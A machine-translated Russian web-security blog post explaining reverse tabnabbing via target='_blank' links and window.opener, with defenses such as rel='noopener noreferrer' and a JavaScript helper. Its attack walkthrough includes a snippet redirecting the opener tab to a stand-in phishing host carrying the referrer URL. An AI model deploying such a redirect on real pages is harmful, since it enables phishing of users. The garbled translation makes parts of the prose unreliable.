При использовании ссылки на веб-странице, если вы хотите, чтобы браузер автоматически открывал указанный адрес в новой вкладке, обычным способом является
a
добавить на ярлыкtarget等于"_blank"
Атрибуты.Однако именно этот атрибут представляет возможность для фишинговых атак.
источник
parent
а такжеopener
говорящийopener
Прежде, давайте поговорим<iframe>
серединаparent
.
мы знаем, что в<iframe>
предоставляет объект для взаимодействия родительских и дочерних страниц, называемыйwindow.parent
, мы можем пройтиwindow.parent
объект для доступа к родительской странице со страницы во фреймеwindow
.
opener
а такжеparent
то же, но только для<a target="_blank">
Страница, которая открывается в новой вкладке. пройти через<a target="_blank">
Открытую страницу можно использовать напрямуюwindow.opener
для доступа к исходной страницеwindow
объект.
Тот же домен и перекрестный домен
Браузер обеспечивает полную междоменную защиту.Если доменное имя совпадает,parent
объект иopener
Объект на самом деле находится прямо надwindow
объект; и когда доменные имена отличаются,parent
а такжеopener
представляет собой упакованныйglobal
объект. этоglobal
Объекты предоставляют очень ограниченный доступ к свойствам, и большинство из немногих свойств не разрешены (доступDOMException
).
существует<iframe>
, обеспечиваетsandbox
Атрибуты используются для управления разрешениями страницы во фрейме, поэтому даже если это один и тот же домен, вы можете контролировать<iframe>
безопасность.
использовать
Если на вашем веб-сайте есть ссылка, которая используетtarget="_blank"
, затем, как только пользователь щелкнет ссылку и перейдет на новую вкладку, страница в новой вкладке, если есть вредоносный код, может перейти с вашего веб-сайта прямо на поддельный веб-сайт. В этот момент, если пользователь вернется на вашу вкладку, он увидит замененную страницу.
подробные шаги
-
на вашем сайте
https://example.com
Есть ссылка:<a href="https://an.evil.site" target="_blank">进入一个“邪恶”的网站</a>
-
Пользователь нажал на ссылку, которая открыла сайт в новой вкладке. Доступ к этому веб-сайту можно получить через HTTP-заголовок.
Referer
атрибут для определения источника пользователя.Также сайт содержит код JavaScript, похожий на этот:
const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url);
-
В этот момент пользователь продолжает просматривать страницу новой вкладки, и в это время он перешел на страницу вкладки, на которой находится исходный веб-сайт.
https://a.fake.site/?https%3A%2F%2Fexample.com%2F
. -
вредоносный веб-сайт
https://a.fake.site
Согласно Query String, достаточно подделать страницу, чтобы обмануть пользователя и отобразить ее (можно также сделать скачок по периоду, сделав адресную строку браузера более запутанной). -
Пользователь закрыт
https://an.evil.site
, вернуться на исходный сайт ……………… Я не могу вернуться.
Вышеуказанные шаги атаки в случае междоменной, в случае междоменной,
opener
объект иparent
То же самое, ограничено, предоставляет только очень ограниченный доступ к свойствам, и большинству из немногих свойств не разрешен доступ (доступ напрямую вызоветDOMException
).но с
parent
разница в том,В случае междоменногоopener
еще можно назватьlocation.replace
метода такжеparent
Вы не можете.Если он находится в том же домене (например, на определенной странице сайта внедрен вредоносный код), ситуация намного серьезнее, чем описанная выше.
защита
<iframe>
имеютsandbox
свойства, в то время как ссылки, вы можете использовать следующие методы:
1. Реферальная политика и отсутствие реферера
В приведенных выше шагах атаки HTTP-заголовок вReferer
атрибут, который фактически может быть добавлен в заголовок ответа HTTPReferrer Policy
заголовок для обеспечения безопасности конфиденциальности источника.
Referrer Policy
Нужно изменить код бэкэнда для реализации, а на переднем конце вы можете использовать его.<a>
помеченrel
атрибут для указанияrel="noreferrer"
для обеспечения конфиденциальности источника.
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
Но будьте осторожны: даже с ограничениями
referer
, по-прежнему не может предотвратить злонамеренный переход исходной метки.
2. noopener
В целях безопасности современные браузеры поддерживают<a>
помеченrel
указанное свойствоrel="noopener"
, который больше не будет доступен в новых открытых вкладкахopener
объект, он установлен наnull
.
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>
3. JavaScript
noopener
Свойства, кажется, решают все проблемы, но... проблемы с совместимостью браузера...
Как видите, большинство браузеров теперь совместимыrel="noopener"
характеристики. Однако для защиты немного более старых «современных» браузеров или очень старых «древних» браузеров или даже «древних» браузеров толькоnoopener
Атрибутов еще далеко не достаточно.
В настоящее время вы можете попросить помочь только следующий нативный JavaScript.
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
рекомендовать
Сначала по ссылке на сайте, если используетеtarget="_blank"
, возьми этоrel="noopener"
, и рекомендуется принестиrel="noreferrer"
. Что-то вроде этого:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>
Конечно, переход на сторонний веб-сайт, на вес SEO, также рекомендуетсяrel="nofollow"
, так что это заканчивается так:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>
представление
Наконец, давайте поговорим о проблемах с производительностью.
Если сайт использует<a target="_blank">
, то производительность вновь открытой вкладки повлияет на текущую страницу. В это время, если очень большой сценарий JavaScript выполняется на вновь открытой странице, исходная вкладка также будет затронута, и возникнет явление зависания (конечно, оно не будет зависать).
И если вы присоединитесь к ссылкеnoopener
, то две вкладки не будут мешать друг другу, поэтому новая страница не повлияет на производительность исходной страницы.
Обратите внимание на публичный аккаунт WeChat: KnownsecFED, получайте больше качественной галантереи по коду!